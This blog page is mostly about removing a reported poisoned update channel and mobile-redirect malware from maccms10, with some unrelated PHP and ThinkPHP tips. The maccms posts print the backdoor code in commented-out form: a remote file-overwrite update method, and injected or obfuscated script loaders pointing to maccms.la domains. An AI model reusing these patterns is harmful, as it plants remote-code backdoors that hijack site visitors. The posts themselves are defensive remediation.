AI摘要 本文详细介绍了如何从苹果cms10中去除官方更新，以应对官方更新通道可能存在的安全风险。主要步骤包括：从GitHub下载源代码，批量替换官方域名为空或自定义域名，注释掉`Update.php`和`Safety.php`中的更新后门代码，移除播放器文件中的广告链接，以及注释掉多个JavaScript文件中的更新检测和请求代码。此外，还建议在服务器层面屏蔽官方域名，以彻底杜绝潜在的安全隐患。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 去除官方更新根据奇安信实锤，基本上可以确认是官方更新通道投毒https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg1.下载源代码从github中下载源代码，一般来说后门不会直勾勾的写在github上，都是通过安装之后通过自动更新加入到代码中。所以此时的github代码是安全的https://github.com/magicblack/maccms102.批量替换域名（关键）使用代码编辑器，批量替换代码域名，此处域名我以自己网站代替，即使自己的域名有些请求失败，但是也好过官方的。union.maccms.la => 所有带有该域名的链接全部改为空maccms.la => 替换成自己的域名aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv => 该字符串为更新域名的base64编码，替换为空，有两处地方要修改。application/admin/controller/Update.phpapplication/admin/controller/Safety.php3.注释更新后门文件（关键）文件路径：application/admin/controller/Update.php<?php namespace app\admin\controller; use think\Db; use app\common\util\PclZip; class Update extends Base { var $_url; var $_save_path; public function __construct() { parent::__construct(); //header('X-Accel-Buffering: no'); $this->_url = base64_decode("")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { // if(empty($file)){ // return $this->error(lang('param_err')); // } // $version = config('version.code'); // $url = $this->_url .$file . '.zip?t='.time(); // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step1_a')." ".lang('admin/update/step1_b')."\n"; // ob_flush();flush(); // sleep(1); // $save_file = $version.'.zip'; // $html = mac_curl_get($url); // @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html); // if(!is_file($this->_save_path.$save_file)){ // echo lang('admin/update/download_err')."\n"; // exit; // } // if(filesize($this->_save_path.$save_file) <1){ // @unlink($this->_save_path.$save_file); // echo lang('admin/update/download_err')."\n"; // exit; // } // echo lang('admin/update/download_ok')."\n"; // echo lang('admin/update/upgrade_package_processed')."\n"; // ob_flush();flush(); // sleep(1); // $archive = new PclZip(); // $archive->PclZip($this->_save_path.$save_file); // if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) { // echo $archive->error_string."\n"; // echo lang('admin/update/upgrade_err').'' ."\n";; // exit; // } // else{ // } // @unlink($this->_save_path.$save_file); // echo ' '; // mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { // $version = config('version.code'); // $save_file = 'database.php'; // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step2_a')." \n"; // ob_flush();flush(); // sleep(1); // $res=true; // // 导入SQL // $sql_file = $this->_save_path .$save_file; // if (is_file($sql_file)) { // echo lang('admin/update/upgrade_sql')."\n"; // ob_flush();flush(); // $pre = config('database.prefix'); // $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]); // $col_list = []; // $sql=''; // foreach($schema as $k=>$v){ // $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v; // } // @include $sql_file; // //dump($sql);die; // /* // //$html = @file_get_contents($sql_file); // //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--'); // $sql = @file_get_contents($sql_file); // */ // if(!empty($sql)) { // $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]); // if ($sql_list) { // $sql_list = array_filter($sql_list); // foreach ($sql_list as $v) { // echo $v; // try { // Db::execute($v); // echo " ---".lang('success')."\n\n"; // } catch (\Exception $e) { // echo " ---".lang('fail')."\n\n"; // } // ob_flush();flush(); // } // } // } // else{ // } // @unlink($sql_file); // } // else{ // echo lang('admin/update/no_sql')."\n"; // } // echo ' '; // mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step3_a')." \n"; // ob_flush();flush(); // sleep(1); // $this->_cache_clear(); // echo lang('admin/update/update_cache')." "; // echo lang('admin/update/upgrade_complete')." "; // if(is_file($this->_save_path . 'database.php')){ // echo "" . lang('admin/update/not_delete') . ":application/data/update/database.php"; // } // ob_flush();flush(); // echo ' '; } public function one() { // $param = input(); // $a = $param['a']; // $b = $param['b']; // $c = $param['c']; // $d = $param['d']; // $e = mac_curl_get( base64_decode("") . $a."/".$b); // if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { // if (($d!="") && strpos(",".$e,$d) <=0){ return; } // if($b=='admin.php'){$b=IN_FILE;} // $f = is_file($b) ? filesize($b) : 0; // if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } // } die; } }4.播放器文件去除广告链接（关键）文件路径：static/js/player.js文件路径：static_new/js/player.js该播放器文件代码已混淆，解密后发现官方在手机端引入//union.maccms.la/html/top10.js从而有概率跳转广告解密后文件如下var killErrors = function(value) { return true }; window.onerror = null; window.onerror = killErrors; var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var base64DecodeChars = new Array(-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1); function base64encode(str) { var out, i, len; var c1, c2, c3; len = str.length; i = 0; out = ""; while (i < len) { c1 = str.charCodeAt(i++) & 0xff; if (i == len) { out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt((c1 & 0x3) << 4); out += "=="; break } c2 = str.charCodeAt(i++); if (i == len) { out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4)); out += base64EncodeChars.charAt((c2 & 0xF) << 2); out += "="; break } c3 = str.charCodeAt(i++); out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4)); out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6)); out += base64EncodeChars.charAt(c3 & 0x3F) } return out } function base64decode(str) { var c1, c2, c3, c4; var i, len, out; len = str.length; i = 0; out = ""; while (i < len) { do { c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff] } while (i < len && c1 == -1); if (c1 == -1) break; do { c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff] } while (i < len && c2 == -1); if (c2 == -1) break; out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4)); do { c3 = str.charCodeAt(i++) & 0xff; if (c3 == 61) return out; c3 = base64DecodeChars[c3] } while (i < len && c3 == -1); if (c3 == -1) break; out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2)); do { c4 = str.charCodeAt(i++) & 0xff; if (c4 == 61) return out; c4 = base64DecodeChars[c4] } while (i < len && c4 == -1); if (c4 == -1) break; out += String.fromCharCode(((c3 & 0x03) << 6) | c4) } return out } function utf16to8(str) { var out, i, len, c; out = ""; len = str.length; for (i = 0; i < len; i++) { c = str.charCodeAt(i); if ((c >= 0x0001) && (c <= 0x007F)) { out += str.charAt(i) } else if (c > 0x07FF) { out += String.fromCharCode(0xE0 | ((c >> 12) & 0x0F)); out += String.fromCharCode(0x80 | ((c >> 6) & 0x3F)); out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F)) } else { out += String.fromCharCode(0xC0 | ((c >> 6) & 0x1F)); out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F)) } } return out } function utf8to16(str) { var out, i, len, c; var char2, char3; out = ""; len = str.length; i = 0; while (i < len) { c = str.charCodeAt(i++); switch (c >> 4) { case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: out += str.charAt(i - 1); break; case 12: case 13: char2 = str.charCodeAt(i++); out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F)); break; case 14: char2 = str.charCodeAt(i++); char3 = str.charCodeAt(i++); out += String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0)); break } } return out } var MacPlayer = { 'GetDate': function(f, t) { if (!t) { t = new Date() } var a = ['日', '一', '二', '三', '四', '五', '六']; f = f.replace(/yyyy|YYYY/, t.getFullYear()); f = f.replace(/yy|YY/, (t.getYear() % 100) > 9 ? (t.getYear() % 100).toString() : '0' + (t.getYear() % 100)); f = f.replace(/MM/, t.getMonth() > 9 ? t.getMonth().toString() : '0' + t.getMonth()); f = f.replace(/M/g, t.getMonth()); f = f.replace(/w|W/g, a[t.getDay()]); f = f.replace(/dd|DD/, t.getDate() > 9 ? t.getDate().toString() : '0' + t.getDate()); f = f.replace(/d|D/g, t.getDate()); f = f.replace(/hh|HH/, t.getHours() > 9 ? t.getHours().toString() : '0' + t.getHours()); f = f.replace(/h|H/g, t.getHours()); f = f.replace(/mm/, t.getMinutes() > 9 ? t.getMinutes().toString() : '0' + t.getMinutes()); f = f.replace(/m/g, t.getMinutes()); f = f.replace(/ss|SS/, t.getSeconds() > 9 ? t.getSeconds().toString() : '0' + t.getSeconds()); f = f.replace(/s|S/g, t.getSeconds()); return f }, 'GetUrl': function(s, n) { return this.Link.replace('{sid}', s).replace('{sid}', s).replace('{nid}', n).replace('{nid}', n) }, 'Go': function(s, n) { location.href = this.GetUrl(s, n) }, 'Show': function() { $('#buffer').attr('src', this.Prestrain); setTimeout(function() { MacPlayer.AdsEnd() }, this.Second * 1000); $("#playleft").get(0).innerHTML = this.Html + ''; // 非Windows和Mac平台官方投毒 // if (!/(Win|Mac)/i.test(navigator.platform)) { // var a = document.createElement('script'); // a.type = 'text/javascript'; // a.async = true; // a.charset = 'utf-8'; // a.src = base64decode('Ly91bmlvbi5tYWNjbXMubGEvaHRtbC90b3AxMC5qcw==') + '?r=' + this.GetDate('yyyyMMdd'); // var b = document.getElementsByTagName('script')[0]; // b.parentNode.insertBefore(a, b) // } }, 'AdsStart': function() { if ($("#buffer").attr('src') != this.Buffer) { $("#buffer").attr('src', this.Buffer) } $("#buffer").show() }, 'AdsEnd': function() { $('#buffer').hide() }, 'Install': function() { this.Status = false; $('#install').show() }, 'Play': function() { document.write(' ' + ' ' + ' '); this.offsetHeight = $('.MacPlayer').get(0).offsetHeight; this.offsetWidth = $('.MacPlayer').get(0).offsetWidth; document.write('<scr' + 'ipt src="' + this.Path + this.PlayFrom + '.js"></scr' + 'ipt>') }, 'Down': function() {}, 'Init': function() { this.Status = true; this.Parse = ''; var a = player_aaaa; if (a.encrypt == '1') { a.url = unescape(a.url); a.url_next = unescape(a.url_next) } else if (a.encrypt == '2') { a.url = unescape(base64decode(a.url)); a.url_next = unescape(base64decode(a.url_next)) } this.Agent = navigator.userAgent.toLowerCase(); this.Width = MacPlayerConfig.width; this.Height = MacPlayerConfig.height; if (this.Agent.indexOf("android") > 0 || this.Agent.indexOf("mobile") > 0 || this.Agent.indexOf("ipod") > 0 || this.Agent.indexOf("ios") > 0 || this.Agent.indexOf("iphone") > 0 || this.Agent.indexOf("ipad") > 0) { this.Width = MacPlayerConfig.widthmob; this.Height = MacPlayerConfig.heightmob } if (this.Width.indexOf("px") == -1 && this.Width.indexOf("%") == -1) { this.Width = '100%' } if (this.Height.indexOf("px") == -1 && this.Height.indexOf("%") == -1) { this.Height = '100%' } this.Prestrain = MacPlayerConfig.prestrain; this.Buffer = MacPlayerConfig.buffer; this.Second = MacPlayerConfig.second; this.Flag = a.flag; this.Trysee = a.trysee; this.Points = a.points; this.Link = decodeURIComponent(a.link); this.PlayFrom = a.from; this.PlayNote = a.note; this.PlayServer = a.server == 'no' ? '' : a.server; this.PlayUrl = a.url; this.PlayUrlNext = a.url_next; this.PlayLinkNext = a.link_next; this.PlayLinkPre = a.link_pre; this.Id = a.id; this.Sid = a.sid; this.Nid = a.nid; if (MacPlayerConfig.server_list[this.PlayServer] != undefined) { this.PlayServer = MacPlayerConfig.server_list[this.PlayServer].des } if (MacPlayerConfig.player_list[this.PlayFrom] != undefined) { if (MacPlayerConfig.player_list[this.PlayFrom].ps == "1") { this.Parse = MacPlayerConfig.player_list[this.PlayFrom].parse == '' ? MacPlayerConfig.parse : MacPlayerConfig.player_list[this.PlayFrom].parse; this.PlayFrom = 'parse' } } this.Path = maccms.path + '/static/player/'; if (this.Flag == "down") { MacPlayer.Down() } else { MacPlayer.Play() } } }; MacPlayer.Init(); 5.注释更新JavaScript文件文件路径：static_new/js/update.js// String.prototype.replaceAll = function (FindText, RepText) { // regExp = new RegExp(FindText, "g"); // return this.replace(regExp, RepText); // } // function getQS(par, name) { // var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); // var r = par.substr(1).match(reg); // if (r != null) return unescape(r[2]); return null; // } // function msck(n, v) { var exp = new Date(); exp.setTime(exp.getTime() + 30 * 60 * 1000); document.cookie = n + "=" + escape(v) + ";path=/;expires=" + exp.toGMTString() } // function mgck(n) { var arr, reg = new RegExp("(^| )" + n + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) return unescape(arr[2]); else return null } // var new_v = '2024.1000.4044'; // var update_content = [ // 'v2024.1000.4044 更新内容：', // '1，优化重名检测卡顿问题。', // '2，入库重复规移除名称必选和新增豆瓣id。', // '3，修正帐号无法登出问题。', // '4，其他细节优化。', // ].join(' '); // var package = 'maccms10_update'; // var domain = 'update.000081.xyz/'; // var params = window.location.search; // var scripts = document.getElementsByTagName('script'); // for (i = 0; i < scripts.length; i++) { // var lastUrl = scripts[i].src; // if (lastUrl.indexOf(domain) > -1) { // params = lastUrl.substr(lastUrl.indexOf('?')); // } // } // var de = new Date(), mh = de.getMonth() + 1, da = de.getDate(), rr = mh + "" + da; // var c = getQS(params, 'c'); // var v = getQS(params, 'v'); // var p = getQS(params, 'p'); // var tp = getQS(params, 'tp'); // var v1 = v.replace(/\./g, ""); // var v2 = new_v.replace(/\./g, ""); // var html = ''; // if (v2 > v1) { // html += ` // // // 更新提示【${new_v}】>>> // Telegram群https://t.me/maccms_channel // // Github源码https://github.com/magicblack // // // // // // 警告，补丁包【${new_v}】发布，修复安全漏洞和更新服务，请及时升级相应补丁！ // // // 【点击进入在线升级】 // // // 【下载离线升级包线路1】 // // // 【下载离线升级包线路2】 // // // // // ${update_content} // // `; // } // else { // html += ` // // // 更新提示>>> // Telegram群https://t.me/maccms_channel // // Github源码https://github.com/magicblack // // // // 当前是最新版本！ // // `; // } // if (tp != null) { // var v3 = tp.replace(/\./g, ""); // if (v3 < 5024) { // html += ` // // ThinkPHP框架更新提示 // // // // 警告：ThinkPHP5.0.24版本发布安全更新，建议更新框架以免造成不必要的损失，下载后直接覆盖到网站根目录即可！ // // 【点击下载框架升级包】 // // // // `; // } // } // $("body").append(" "); // $("table:last").after(html);6.注释index.html下的ajax更新请求文件路径：application/admin/view_new/index/index.html var layer; layui.use(['element', 'layer', 'form'], function () { var $ = layui.jquery, element = layui.element, form = layui.form; layer = layui.layer; console.log("MAC_VERSION", MAC_VERSION) // if (typeof (MAC_VERSION) != 'undefined' && typeof (PHP_VERSION) != 'undefined' && typeof (THINK_VERSION) != 'undefined') { // $.ajax({ // url: `https://update.000081.xyz/v10/?c=check&v=${MAC_VERSION}&p=${PHP_VERSION}&tp=${THINK_VERSION}&t=${Math.random()}`, // type: 'GET', // dataType: 'text', // 确保返回的数据被视为纯文本 // success: function (response) { // // 使用正则表达式提取update_content // // var updateContentRegex = /var update_content = \[((?:.|\n)*?)\].join\(' \');/g; // var updateContentMatch = response.match(/var update_content\s*=\s*\[(.*?)\]\.join\(' '\);/s); // console.log("updateContentMatch", updateContentMatch) // if (updateContentMatch){ // eval(updateContentMatch[0]) // } // // 使用正则表达式提取new_v // var newVRegex = /var new_v = '(.*?)';/; // var newVMatch = response.match(newVRegex); // var newV = newVMatch ? newVMatch[1] : '未找到new_v'; // if (newV > MAC_VERSION) { // // 存储更新信息到全局变量，供showUpdateDialog函数使用 // window.updateInfo = { // newV: newV, // update_content: update_content, // package: 'maccms10_update' // }; // // 显示更新按钮而不是直接弹窗（在两个位置都显示） // $('.layout-right #update-notification').show().addClass('show'); // $('.bottom-nav #update-notification').show().addClass('show'); // } // }, // error: function (xhr, status, error) { // console.error('AJAX请求失败:', error); // } // }); // } // layer.msg('提示信息', { time: 180000 }); element.init('nav', 'demo'); // 重新渲染select，将下拉弹层插入到body form.render('select', { render: true });7.注释检测更新文件文件路径：static/js/admin_common.js第19行 $(function(){ if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) { // eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'"></0\'+\'1>\');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{})); } });该混淆解码后内容如下$('body').append(' ');8.屏蔽maccms.la域名，可选操作服务器中，屏蔽官方域名，防止其他没改到的地方更新maccms.la*.maccms.la提供已去除更新程序提供的程序已按照上述流程去除更新，只需要将000081.xyz自行替换为自己的域名{cloud title="OpenList" type="default" url="https://pan.000081.xyz/%E5%8D%9A%E5%AE%A2/php/%E8%8B%B9%E6%9E%9Ccms10/maccms10-2025.1000.4052.zip" password=""/}
苹果cms10 挂码手机端自动跳转非法网站处理
AI摘要 苹果cms10手机端自动跳转非法网站，经证实是官方更新通道投毒。恶意链接包括播放器引用`union.maccms.la`和`application/extra/active.php`文件，后者加载伪装的恶意JS，主要针对移动端。处理方法：1. 屏蔽官方更新域名`update.maccms.la`，将代码中相关链接置空或注释`Update.php`和`Safety.php`中的更新方法。2. 批量替换所有`maccms.la`域名。3. 删除`application/extra/active.php`文件。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 挂码手机端自动跳转非法网站处理{alert type="info"}程序使用的是maccms.la的苹果cms，记录目前处理方法，不一定有效，可能还有漏网之鱼。{/alert}{message type="error" content="2026/3/15 17:00 实测此方法并不能完全解决，还有漏网之鱼，手机端还是偶尔会跳转"/}去更新可以查看这篇 https://www.000081.xyz/index.php/archives/388/{message type="success" content="2026/3/15 18:00 请从github下载最新的程序，进行域名替换，去除官方更新，然后再导入数据库数据，此方法目前有效"/}根据奇安信实锤，基本上可以确认是官方更新通道投毒https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg1.目前已知的非法跳转有播放器引用链接：union.maccms.la/html/prestrain.html播放器引用链接：union.maccms.la/html/loading.htmlapplication/extra/active.php文件active.php文件里面有gzuncompress加密，借助ai代码审计后解密后的内容 AI代码审计主要恶意文件：application/extra/active.php 该文件包含大量恶意代码，通过 gzuncompress 压缩隐藏： 解密后发现的内容： 恶意JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery） 恶意域名列表：用于流量劫持和跳转 http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com 等多个恶意域名 攻击特点： ✅ 仅针对移动端用户（!$env->isMobile() 时跳过） ✅ 绕过管理员IP检测 ✅ 通过 view_filter 钩子自动执行 ✅ 包含反调试功能伪装的jquery链接，在电脑打开，返回内容为空白，电脑切换为手机的ua，才会正常加载内容2.处理方法2.1.屏蔽官方更新更新文件路径：application/admin/controller/Update.php更新文件路径：application/admin/controller/Safety.php将所有 "aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv" 内容替换为 ""aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv内容base64解码后为http://update.maccms.la/Update.php文件中，方法内容注释<?php namespace app\admin\controller; use think\Db; use app\common\util\PclZip; class Update extends Base { var $_url; var $_save_path; public function __construct() { parent::__construct(); //header('X-Accel-Buffering: no'); //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv $this->_url = base64_decode("")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { // if(empty($file)){ // return $this->error(lang('param_err')); // } // $version = config('version.code'); // $url = $this->_url .$file . '.zip?t='.time(); // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step1_a')." ".lang('admin/update/step1_b')."\n"; // ob_flush();flush(); // sleep(1); // $save_file = $version.'.zip'; // $html = mac_curl_get($url); // @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html); // if(!is_file($this->_save_path.$save_file)){ // echo lang('admin/update/download_err')."\n"; // exit; // } // if(filesize($this->_save_path.$save_file) <1){ // @unlink($this->_save_path.$save_file); // echo lang('admin/update/download_err')."\n"; // exit; // } // echo lang('admin/update/download_ok')."\n"; // echo lang('admin/update/upgrade_package_processed')."\n"; // ob_flush();flush(); // sleep(1); // $archive = new PclZip(); // $archive->PclZip($this->_save_path.$save_file); // if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) { // echo $archive->error_string."\n"; // echo lang('admin/update/upgrade_err').'' ."\n";; // exit; // } // else{ // } // @unlink($this->_save_path.$save_file); // echo ' '; // mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { // $version = config('version.code'); // $save_file = 'database.php'; // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step2_a')." \n"; // ob_flush();flush(); // sleep(1); // $res=true; // // 导入SQL // $sql_file = $this->_save_path .$save_file; // if (is_file($sql_file)) { // echo lang('admin/update/upgrade_sql')."\n"; // ob_flush();flush(); // $pre = config('database.prefix'); // $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]); // $col_list = []; // $sql=''; // foreach($schema as $k=>$v){ // $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v; // } // @include $sql_file; // //dump($sql);die; // /* // //$html = @file_get_contents($sql_file); // //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--'); // $sql = @file_get_contents($sql_file); // */ // if(!empty($sql)) { // $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]); // if ($sql_list) { // $sql_list = array_filter($sql_list); // foreach ($sql_list as $v) { // echo $v; // try { // Db::execute($v); // echo " ---".lang('success')."\n\n"; // } catch (\Exception $e) { // echo " ---".lang('fail')."\n\n"; // } // ob_flush();flush(); // } // } // } // else{ // } // @unlink($sql_file); // } // else{ // echo lang('admin/update/no_sql')."\n"; // } // echo ' '; // mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step3_a')." \n"; // ob_flush();flush(); // sleep(1); // $this->_cache_clear(); // echo lang('admin/update/update_cache')." "; // echo lang('admin/update/upgrade_complete')." "; // if(is_file($this->_save_path . 'database.php')){ // echo "" . lang('admin/update/not_delete') . ":application/data/update/database.php"; // } // ob_flush();flush(); // echo ' '; } public function one() { // $param = input(); // $a = $param['a']; // $b = $param['b']; // $c = $param['c']; // $d = $param['d']; // //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv // $e = mac_curl_get( base64_decode("") . $a."/".$b); // if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { // if (($d!="") && strpos(",".$e,$d) <=0){ return; } // if($b=='admin.php'){$b=IN_FILE;} // $f = is_file($b) ? filesize($b) : 0; // if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } // } die; } }保险起见可以在服务器屏蔽官方域名maccms.la*.maccms.la2.2.替换所有maccms.la域名代码中批量替换所有maccms.la域名，将带有maccms.la域名的参数和链接全部置空，也可以替换成自己的域名，即使打不开也好过引用官方的链接2.3.删除active.php文件删除产生的active.php文件application/extra/active.php
苹果cms10 列表和搜索过滤会员组没有权限的数据
AI摘要 苹果cms10在列表和搜索中可能显示会员组无权限数据。新版本可通过后台“网站基础参数-性能优化-数据权限过滤”开启此功能。老版本需手动修改`application/common/model/Vod.php`文件。在`listData`方法中，增加代码以根据当前用户组的`group_type`过滤`type_id`，确保用户只能看到其会员组有权限的内容，避免点击后才提示登录。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 列表和搜索过滤会员组没有权限的数据苹果cms10的列表中，会出现会员组没有权限的数据，只有点进去才会提示登录。1.新版本后台-》网站基础参数-》性能优化-》数据权限过滤开启即可2.老版本编辑文件application/common/model/Vod.php找到listData方法，增加过滤方法public function listData($where,$order,$page=1,$limit=20,$start=0,$field='*',$addition=1,$totalshow=1) { $page = $page > 0 ? (int)$page : 1; $limit = $limit ? (int)$limit : 20; $start = $start ? (int)$start : 0; if(!is_array($where)){ $where = json_decode($where,true); } $where2=''; if(!empty($where['_string'])){ $where2 = $where['_string']; unset($where['_string']); } // =====修改开始===== // 增加会员组过滤方法 $where3 = []; // 如果是用户请求 if(isset($GLOBALS['user'])){ $category_ids = array_filter(explode(',',$GLOBALS['user']['group']['group_type'])); $where3['type_id'] = ['in',$category_ids]; } $limit_str = ($limit * ($page-1) + $start) .",".$limit; if($totalshow==1) { // 增加where3查询 $total = $this->where($where)->where($where2)->where($where3)->count(); } // 增加where3查询 $list = Db::name('Vod')->field($field)->where($where)->where($where2)->where($where3)->order($order)->limit($limit_str)->select(); // =====修改结束===== //分类 $type_list = model('Type')->getCache('type_list'); //用户组 $group_list = model('Group')->getCache('group_list'); foreach($list as $k=>$v){ if($addition==1){ if(!empty($v['type_id'])) { $list[$k]['type'] = $type_list[$v['type_id']]; $list[$k]['type_1'] = $type_list[$list[$k]['type']['type_pid']]; } if(!empty($v['group_id'])) { $list[$k]['group'] = $group_list[$v['group_id']]; } } } return ['code'=>1,'msg'=>lang('data_list'),'page'=>$page,'pagecount'=>ceil($total/$limit),'limit'=>$limit,'total'=>$total,'list'=>$list]; }
PHP多级分类数据列表转为树型父子结构
AI摘要 该PHP函数`formatToTree`用于将MySQL查询出的多级分类列表数据转换为树型父子结构。它通过递归实现，接收数据数组、最上级父节点ID和父ID字段名作为参数，将具有相同父ID的项归类到`children`属性中，从而构建出层级清晰的树状结构。 此内容根据文章生成，仅用于文章内容的解释与总结 PHP多级分类数据列表转为树型父子结构function formatToTree($array, $pid = 0, $pidName = 'parent_id') { return array_values(array_map(function ($item) use ($array, $pid) { $item['children'] = formatToTree($array, $item['id']); return $item; },array_filter($array,function ($item) use ($pidName,$pid) { return $item[$pidName] === $pid; }))); }$array为mysql查询出来的列表数据$pid为最上级父节点id$pidName为父id字段
ThinkPHP6 跨域开起后某些接口请求报错跨域
AI摘要 ThinkPHP6部署后部分接口出现跨域报错，经排查发现是路由与控制器命名不规范所致。通过将驼峰式命名改为简洁的单个单词命名，可有效解决该跨域问题。建议开发时保持路由与控制器命名规范统一。 此内容根据文章生成，仅用于文章内容的解释与总结 ThinkPHP6 跨域开起后某些接口请求报错跨域所有接口在本地调试正常，但是部署在服务器之后有的接口出现跨域报错。解决办法路由文件和控制器命名要规范，最好使用单个单词 原# 控制器名 PhotoAlbums.pnp # 控制器类名 PhotoAlbums # 路由名 Route::any('photoAlbums', 'home/photoAlbums/index')->name('photoAlbumsHome');现# 控制器名 Photo.pnp # 控制器类名 Photo # 路由名 Route::any('photo', 'home/photo/index')->name('photoHome');成功解决问题
AI摘要 在ThinkPHP6中开启跨域，可通过继承`think\middleware\AllowCrossDomain`新建自定义中间件，并在类中配置`Access-Control`相关响应头。随后在`app/middleware.php`中注册该中间件，即可实现全局或路由级别的跨域支持。 此内容根据文章生成，仅用于文章内容的解释与总结 ThinkPHP6 开启接口跨域1.新建中间件<?php namespace app\home\middleware; use Closure; use think\middleware\AllowCrossDomain; use think\Request; use think\Response; use think\response\Redirect; class Allow extends AllowCrossDomain { protected $header = [ 'Access-Control-Allow-Credentials' => 'true', 'Access-Control-Max-Age' => 1800, 'Access-Control-Allow-Methods' => 'GET, POST, PATCH, PUT, DELETE, OPTIONS', 'Access-Control-Allow-Headers' => 'Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-CSRF-TOKEN, X-Requested-With, jwtToken', ]; }2.全局使用中间件或者路由使用中间件app/middleware.php<?php // 全局中间件定义文件 return [ // 加上这句 \app\home\middleware\Allow::class, ];
